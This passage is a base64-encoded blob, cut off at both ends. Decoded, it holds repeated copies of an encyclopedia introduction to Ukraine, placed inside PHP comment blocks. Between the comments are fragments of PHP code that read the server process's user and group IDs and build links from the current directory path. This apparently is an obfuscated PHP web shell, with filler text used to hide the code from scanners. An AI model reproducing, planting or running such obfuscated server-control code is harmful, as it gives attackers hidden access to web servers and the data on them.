JbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwoJCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJCSR1aWQgPSAkdWlkWyd1aWQnXTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgl9CgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0